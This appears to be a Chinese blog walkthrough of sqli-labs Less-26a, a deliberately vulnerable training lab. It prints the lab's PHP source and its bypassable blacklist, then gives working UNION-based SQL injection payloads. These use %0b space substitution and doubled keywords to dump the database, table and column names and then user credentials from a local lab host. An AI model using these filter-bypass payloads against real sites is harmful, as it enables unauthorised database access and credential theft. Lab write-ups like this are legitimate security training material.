当前位置: 首页 > news >正文

sqli-labs通关笔记-第26a关GET字符注入(多重关键字过滤绕过 手注法)

目录

目录

一、源码分析

1、代码审计

2、SQL安全性分析

(1)[--]

(2)[\/\*]

(3)[#]

(4)[\s]

(5)[\/\\\\]

四、探测空格绕过

1、注释符替代空格法

2、括号绕过法

3、特殊字符与括号绕过法

4、字符串拼接与运算符法

五、渗透实战

1、进入靶场

2、获取列数

(1)order by 数字 or ('1')=('7探测

(2)order by 数字 and ('1')=('7探测

(3)使用两列进行回显位探测

(4)使用三列进行回显位探测

3、获取数据库名

4、获取表名

5、获取列名

6、获取用户名密码


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第26a关Less 26a基于GET字符型的SQL注入关卡进行渗透实战,与26关的区别是无法使用报错法进行注入,该关卡同样过滤多个关键字(包括and、or、三类注释符号、空格等关键字)防止SQL注入攻击。

一、源码分析

1、代码审计

本关卡Less26a是基于GET字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less26关卡功能是简单基于id的查询页面,相对于26关有3个区别,第一是闭合方式发生变化(单引号变为单引号括号),第二是26a关卡并不对数据库报错信息进行打印,第三是26a关卡增加了一个空格过滤处理(无意义处理),如下所示。

详细注释后的代码如下所示。

<?php
// 引入MySQL数据库连接配置
include("../sql-connections/sql-connect.php");// 处理GET请求中的id参数
if(isset($_GET['id']))
{$id = $_GET['id']; // 获取用户输入的id值// 记录用户输入到日志文件(用于安全审计或分析)$fp = fopen('result.txt', 'a');fwrite($fp, 'ID:'.$id."\n");fclose($fp);// 应用黑名单过滤函数处理用户输入$id = blacklist($id);// 保存过滤后的id值用于页面提示(调试用)$hint = $id;// 构造SQL查询(注意:id被括号和单引号包围)$sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1";// 执行SQL查询(使用已弃用的mysql_*函数)$result = mysql_query($sql);$row = mysql_fetch_array($result);// 根据查询结果输出用户信息或错误提示if($row){echo "<font size='5' color= '#99FF00'>";    echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';// 注意:此处注释掉了错误输出,避免泄露信息// print_r(mysql_error());echo "</font>";  }
}
else { echo "Please input the ID as parameter with numeric value";
}/*** 黑名单过滤函数* 移除或替换常见SQL注入关键字和符号*/
function blacklist($id)
{$id = preg_replace('/or/i', "", $id);         // 移除OR关键字(不区分大小写)$id = preg_replace('/and/i', "", $id);        // 移除AND关键字$id = preg_replace('/[\/\*]/', "", $id);      // 移除/*注释符号$id = preg_replace('/[--]/', "", $id);        // 移除--注释符号$id = preg_replace('/[#]/', "", $id);         // 移除#注释符号$id = preg_replace('/[\s]/', "", $id);        // 移除空格字符$id = preg_replace('/[\s]/', "", $id);        // 重复移除空格(可能为冗余代码)$id = preg_replace('/[\/\\\\]/', "", $id);    // 移除斜杠字符return $id;
}
?>

本关卡实现了一个存在SQL注入风险的用户查询系统,功能如下所示。

  • 参数处理与日志记录

    • 通过 GET 获取id参数,记录到日志文件result.txt
    • 使用blacklist函数过滤id中的敏感关键词和字符(如ORAND、注释符、空格等)。
  • 数据库操作

    • 构造字符串型 SQL 查询SELECT * FROM users WHERE id=('$id') LIMIT 0,1,使用单引号括号包裹id参数。
  • 页面交互

    • 成功时显示用户名和密码,失败时并不回显数据库错误。
    • 底部提示过滤后的id值($hint),显示输入处理结果。

2、SQL安全性分析

由于本关卡没有打印数据库报错信息,故而相对于上一关卡不能使用报错法注入,手工注入需要使用联合注入法。系统虽然通过preg_replace()函数进行了简单的关键字过滤,单仍可通过双写关键字绕过过滤机制,导致依旧存在SQL注入风险,攻击者可以构造特殊输入来绕过过滤并执行恶意SQL命令,从而获取数据库敏感信息。对本关卡的过滤函数进行分析,与26关基本一样,只是多了一个空格过滤(由于前一句已经过滤了空格,新增加这一行再过滤空格的处理没有意义),实际上26和26a关卡一致,对比如下所示。

26a关卡的过滤函数处理如下所示。

分析:单引号括号闭合
sql = "SELECT * FROM users WHERE id=('$id') LIMIT 0,1"这一关结将空格,or,and,/*,#,–-,/以及空格等各种符号过滤$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes

因为过滤了空格,所以直接使用sqlmap会比较糟糕,故而or和and改为oror、anandd这个也没有用,因为空格的过滤会导致很多字符串连接到一起,从而渗透失效。故而在作为逻辑符号or时,需要改为||(因为空格被过滤)否则这会导致很多问题(这里要特别强调,并没有将and替换为&&,这是因为测试过程中and替换为&&时会出错,无法渗透成功)。

在作为字符串如information时,需要使用双写绕过, 比如information要替换为infoorrmation。

同样字符串password中的or也要使用双写绕过,替换为passwoorrd。

由于空格会被过滤掉,导致多个函数与连接词(or,and,from)等用空格连接时,空滤空格后会导致字符串连接到一起,函数需要使用括号包裹替换。

另外三类注释符号( /*,--,#)都被过滤为空。

(1)[--]

方括号 [] 在正则中表示字符组,匹配其中的任意一个字符。这里的 [--] 本意可能是匹配双连字符 --,但实际上会移除所有单个 - 字符:

  • 连字符 - 在字符组中有特殊含义(表示范围,如 [a-z])。
  • 当 - 是字符组中的第一个或最后一个字符时,它会被视为普通字符。因此,[--] 等价于 [-],即只匹配单个连字符 -
  • 如果只是计划移除 SQL 注释符 --,黑名单函数如下所示。
$id = preg_replace('/--/', '', $id);  // 移除SQL注释符

(2)[\/\*]

方括号 [] 表示字符组,匹配其中的任意一个字符,因此,[\/\*] 会匹配 单个 / 或 

  • \/:转义后的斜杠 /

  • \*:转义后的星号 *

这行代码会移除所有 / 和 * 字符,但无法单独移除 /* 组合(例如 SQL 注释块),如果想要移除/* 开头到 */ 结尾的注释块,应使用如下语句。

$id = preg_replace('/\/\*.*?\*\//s', '', $id);  // 移除 /* ... */ 注释块

 若仅需移除 /* 组合(不处理闭合),应使用如下语句。

$id = preg_replace('/\/\*/', '', $id);  // 移除 /*

(3)[#]

方括号 [] 在正则中表示字符组,匹配其中的任意一个字符。这里的 [#] 会移除 单个 # 字符

  • 方括号 [] 表示字符组,匹配其中的任意一个字符。
  • 由于 # 在正则中没有特殊含义,无需转义,因此 [#] 等价于 #
  • 这行代码的意图是移除 单个 # 字符,常用于防御 SQL 单行注释(例如 MySQL 中的 # 注释内容)

(4)[\s]

方括号 [] 表示字符组,匹配其中的任意一个字符。这个正则的含义是移除所有空白字符。

  • \s 是正则表达式中的元字符,表示任意空白字符,等价于 [ \t\n\r\f\v](包含空格、制表符 \t、换行符 \n、回车符 \r 等)。移除所有空白字符,包括:
    • 空格()
    • 制表符(\t,对应 %09
    • 换行符(\n,对应 %0A
    • 回车符(\r,对应 %0D
    • 垂直制表符(\v)和换页符(\f)。
    • 示例:输入:$id = "1 OR 1=1";输出:"1OR1=1"(所有空格被移除)。

  • 方括号 [] 在此处是多余的,因为 \s 本身已表示字符组。因此,[\s] 与 \s 完全等价。

(5)[\/\\\\]

这个代码会移除所有 / 和 \ 字符,常用于防御通过斜杠构造的 SQL 注入或文件路径遍历攻击。

  • 方括号 [] 表示字符组,匹配其中的任意一个字符。
  • \/:转义后的斜杠 /
  • \\\\:双重转义的反斜杠 \(PHP 字符串中需用 \\ 表示一个反斜杠,正则中需再转义一次)。
  • 因此,[\/\\\\] 等价于 [/\\],匹配 单个 / 或 \

这一过滤规则用于阻止攻击者利用斜杠:

  • 构造注释/* 注释内容 */(需配合 [\/\*] 过滤)。
  • 转义单引号\'(反斜杠用于转义单引号,移除后导致语法错误)。
  • 文件路径遍历../../etc/passwd(在文件包含漏洞中,移除 / 可阻止路径 traversal)。

四、探测空格绕过

当目标系统过滤了空格字符时,仍然有多种方法可以探测和利用SQL注入漏洞。以下是系统的探测和绕过方法。

1、注释符替代空格法

当空格被过滤时,可用注释符/**/或/*!...*/(MySQL特有)替代空格,使SQL语句保持语法正确。例如:SELECT/**/username/**/FROM/**/users。MySQL的内联注释还能绕过特定版本限制。此方法简单高效,但需注意不同数据库的注释语法差异(如Oracle使用--)。在自动化工具中,SQLMap的space2comment脚本可自动完成这种转换,适用于快速探测和利用注入点。

2、括号绕过法

当空格被过滤时可以利用括号重构语句逻辑。括号可自然分隔关键词且通常不被过滤,尤其适用于数字型注入。比如 SELECT column FROM table 可以替换为如下语句。

UNION(SELECT(column)FROM(table))

3、特殊字符与括号绕过法

通过Tab(%09)、换行符(%0A)等不可见字符替代空格。此方法隐蔽性强,但需测试目标数据库对特殊字符的支持情况。在渗透测试中,可结合Burp Suite等工具对特殊字符进行编码测试,逐步验证可用分隔符。

target_spaces = ['%09', '%0a', '%0b', '%0c', '%0d', '%20', '%23', '%2a', '%2d', '%2f', '%5c']

以下是这些特殊字符可以替代空格的详细分析表格。 

编码字符ASCII字符名称可替代空格的原因
%09\t水平制表符数据库解析时会视作空白分隔符,但常被过滤规则忽略
%0a\n换行符SQL语句中作为隐式分隔符,尤其在批量执行时有效
%0b\v垂直制表符非常规空白符,部分数据库解析为分隔符
%0c\f换页符类似%0a的分隔作用,但兼容性较低
%0d\r回车符%0a组合使用可绕过严格过滤
%20空格标准URL编码空格直接等价于空格,可能被简单解码器还原
%23#井号(注释符)结合换行符构成注释(如%23%0a),使后续内容被忽略
%2a*星号在特定位置作为通配符时可充当分隔符(如SELECT*FROM
%2d-连字符结合注释使用(如--%0a
%2f/斜杠用于开启注释(如/**/
%5c\反斜杠部分数据库解析转义字符时会产生隐式分隔效果

本关卡中通过探测,发现%0b是有效的替换方法,故而在第五部分使用%0b替换空格。 

4、字符串拼接与运算符法

利用逻辑运算符(如||、+)或科学计数法(如1e0)隐式连接语句片段。

例如:'OR'1'='1可以将OR替换为||,此方法无需显式空格,依赖数据库的隐式语法解析规则,如MySQL的||需启用PIPES_AS_CONCAT模式。适用于简单过滤场景,但对复杂语句的构造要求较高,通常作为备用方案与其他技术组合使用。

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://192.168.59.1/sqli-labs/

点击进入Page2,如下图红框所示。 

其中第26a关在进阶挑战关卡“SQLi-LABS Page-2 (Adv Injections)”中, 点击进入如下页面。

http://192.168.59.1/sqli-labs/index-1.html#fm_imagemap

点击上图红框的Less26a关卡,进入到靶场的第26a关卡,页面提示“Please input the ID as parameter with numeric value”,并且在页面下方提示HINT信息“ Hint: Your Input is Filtered with following result: ”,具体如下所示。

http://192.168.59.1/sqli-labs/Less-26

2、获取列数

(1)order by 数字 or ('1')=('7探测

因为所有注释符号都被过滤掉,故而如果计划构造order by 3注入语句,闭合方式为单引号括号,故而正常需要使用order by 3#或者order by 3 --+语句,因为所有注释的语句都被过滤掉,故而需要构造单引号括号的闭合。将注释符号替换为尾部增加类似or ('1')=('7这种表达式为False的语句,不影响整个判断。首先order by判断是否存在3列,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-26a/?id=1') order by 3 or ('1')=('7

经过绕过处理(or变为||,空格变为0b%)后,脚本变为如下所示,成功获取到用户名和密码。

http://127.0.0.1/sqli-labs/Less-26a/?id=1')oorrder%0b%0bby%0b(3)||('1')=('7

不过将order by的列数改为555,同样会渗透成功,如下所示。

这是因为如上语句等价于如下命令,由于1') order by 3 ||('1')=('7构成闭合后,('1')=('7')是恒等于假的,等价于0,所以注入的命令等价于 order by 555 ||0,因此SQL语句如下所示。

SELECT * FROM users WHERE id=('1') order by 555 || 0

因为在 SQL 中,OR(即||)逻辑运算符的优先级低于比较运算符(如=) ,但高于逗号(,),因此ORDER BY后的部分会被视为单个表达式,如上命令等价于如下命令。

SELECT * FROM users WHERE id=('1') order by (555 || 0)

 555||0即555 or 0,参与逻辑运算的数值要么为0要么为1,在 MySQL 中,0表示FALSE,非零值表示TRUE(如355 → TRUE),故而这个表达式的计算如下所示。

555 OR 0 → TRUE OR FALSE → TRUE → 1

所以无论order by后面的数值是多少,这种方法渗透都会成功,因为最后都等价于如下命令。 

SELECT * FROM users WHERE id=('1') order by 1

(2)order by 数字 and ('1')=('7探测

上一步将注释符号替换为尾部增加类似or ('1')=('7这种表达式为False的语句,本次将or变为and逻辑符号,不影响整个判断。如果把or变成and,注入内容为and ('1')=('7,此时计划注入内容如下所示。

​http://192.168.59.1/sqli-labs/Less-26a/?id=1') order by 3 and ('1')=('7

经过绕过处理(and变为aandnd,空格变为0b%)后,脚本变为如下所示

http://192.168.59.1/sqli-labs/Less-26a/?id=1')oorrder%0b%0bby%0b(555)aandnd('1')=('7

 这时候同样会渗透成功,这是因为SQL语句等同于如下内容。

SELECT * FROM users WHERE id=('1') order by 555 and 0

此时页面执行的实际命令等价于如下所示。

SELECT * FROM users WHERE id=('1') order by (555 and 0)

 555&&0即555 and 0,参与逻辑运算的数值要么为0要么为1,在 MySQL 中,0表示FALSE,非零值表示TRUE(如355 → TRUE),故而这个表达式的计算如下所示。

555 AND 0 → 1 AND 0 → FALSE → 0

所以无论order by后面的数值是多少,这种方法渗透都会成功,因为最后都等价于如下命令。  

SELECT * FROM users WHERE id=('1') order by 0

如下所示,无论order by后的数值是什么,只要逻辑符号为and,这个命令都可以渗透成功,页面会提示获取到用户名和密码。  

(3)使用两列进行回显位探测

综上所述,由于注释符号被过滤掉,无法通过order by 数字判断列数,只能通过union select命令来尝试判断到底多少列。从页面提示的信息包括用户名和密码,我们分析可知其至少select了2个字段,也就是应该是大于等于2的一个数字。首先尝试两列,注入命令如下所示。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),(2)||('1')=('7

经过绕过处理(空格变为0b%)后,脚本变为如下所示 。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),(2)||('1')=('7

如下所示报错,说明select字段数量不是2列。 

(4)使用三列进行回显位探测

 接下来尝试三列进行回显位探测,注入命令如下所示。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),(2),(3)||('1')=('7

经过绕过处理(空格变为0b%)后,脚本变为如下所示 。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),(2),(3)||('1')=('7

首先尝试三列,如下所示没有报错,说明select字段数量是3列,且回显位为1和2。 

3、获取数据库名

由于回显位是1和2,那么在第2个位置替换为database()函数,于是通过报错注入获取数据库名的原始注入语句如下所示。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),database(),(3)||('1')=('7

为绕过服务器,将数字用括号包裹,空格用%0b替换,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),database(),(3)||('1')=('7

渗透成功,数据库名为security,如下图所示。 

4、获取表名

原始通过报错注入获取数据库security所有表格名称的注入语句如下所示(无需注释)。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),group_concat(table_name),(3) FROM (information_schema.tables) WHERE (table_schema= 'security')||('1')=('7

为绕过服务器,将or变为oorr,information_schema变为infoorrmation_schema,数字用括号包裹,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),group_concat(table_name),(3)%0bFROM%0b(infoorrmation_schema.tables)%0bWHERE%0b(table_schema=%0b'security')||('1')=('7

渗透成功,数据库security的表名分别为emails,referers,uagents,users,如下图所示。 

5、获取列名

原始通过报错注入获取users表的列名,注入语句如下所示(无需注释)。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),group_concat(column_name),(3) FROM (information_schema.columns) WHERE (table_schema= 'security')and(table_name='users')||('1')=('7

为绕过服务器,将or变为||,information_schema变为infoorrmation_schema,and变为aandnd,函数调用使用用括号包裹,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),group_concat(column_name),(3)%0bFROM%0b(infoorrmation_schema.columns)%0bWHERE%0b(table_schema=%0b'security')aandnd(table_name='users')||('1')=('7

渗透成功,数据库security的users表的列名分别为id,username,password,如下图所示。 

6、获取用户名密码

原始通过报错注入获取users表的列名,注入语句如下所示(无需注释)。

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION SELECT(1),group_concat(password,0x7e,username),(3) FROM(security.users) where (1=1)||('1')=('7

为绕过服务器,将or变为oorr,password变为passwoorrd,函数调用使用用括号包裹,修改后如下所示。 

http://192.168.59.1/sqli-labs/Less-26a/?id=-17777')UNION%0bSELECT(1),group_concat(passwoorrd,0x7e,username),(3)%0bFROM(security.users)%0bwhere%0b(1=1)||('1')=('7

渗透成功,数据库security的users表的前两个用户名和密码内容如下所示。

Your Login name:Dumb~Dumb,I-kill-you~Angelina,p@ssword~Dummy,crappy~secure,stupidity~stupid,genious~superman,mob!le~batman,mooyuan123456~admin,admin1~admin1,admin2~admin2,admin3~admin3,dumbo~dhakkan,admin4~admin4,123456~admin'#mooyuan
Your Password:3

具体效果如下图所示。 

http://www.dtcms.com/a/309681.html

相关文章:

  • qt贝塞尔曲线演示工具
  • Product Hunt 每日热榜 | 2025-08-01
  • 5-EP4CE10F17C8-引脚配置
  • Fiddler中文版使用指南 提升开发流程的一站式抓包与调试体验
  • 大模型幻觉的本质:深度=逻辑层次,宽度=组合限制,深度为n的神经网络最多只能处理n层逻辑推理,宽度为w的网络无法区分超过w+1个复杂对象的组合
  • 搭建体育直播系统所需的核心数据接入
  • 深度解析:Nginx的卓越性能
  • C# 中生成随机数的常用方法
  • 消息顺序、消息重复问题
  • 在VScode里运行并调试C++程序
  • SpringMVC的拦截器
  • Mermaid流程图可视化系统:基于Spring Boot与Node.js的三层架构实现
  • gradio作为原型工具
  • 专业餐饮直播如何激发食欲与购买欲?
  • zabbix的PostgreSQL监控模板中文环境采集问题处理
  • 【BFS】P7555 [USACO21OPEN] Maze Tac Toe S|普及+
  • Java向量化
  • C语言使用GmSSL库实现sm3、sm4算法
  • SH3001六轴传感器应用(二)(IIC驱动开发)
  • Linux---编辑器vim
  • JAVA结合AI
  • Linux 硬盘分区管理
  • 工程化(一):Vite vs. Webpack:从“打包”到“服务”,构建工具的范式转移
  • 鸿蒙系统下的动态负载均衡实战:让分布式任务调度更智能
  • 灵敏度,精度,精确度,精密度,精准度,准确度,分辨率,分辨力——概念
  • 谈谈对反射的理解?
  • AJAX 解析与高频问题
  • 在 MEF 中处理多个 Tab 页对应同一模块的不同实例
  • python进程、线程、协程
  • 第二十三天(数据结构:链表补充【希尔表】)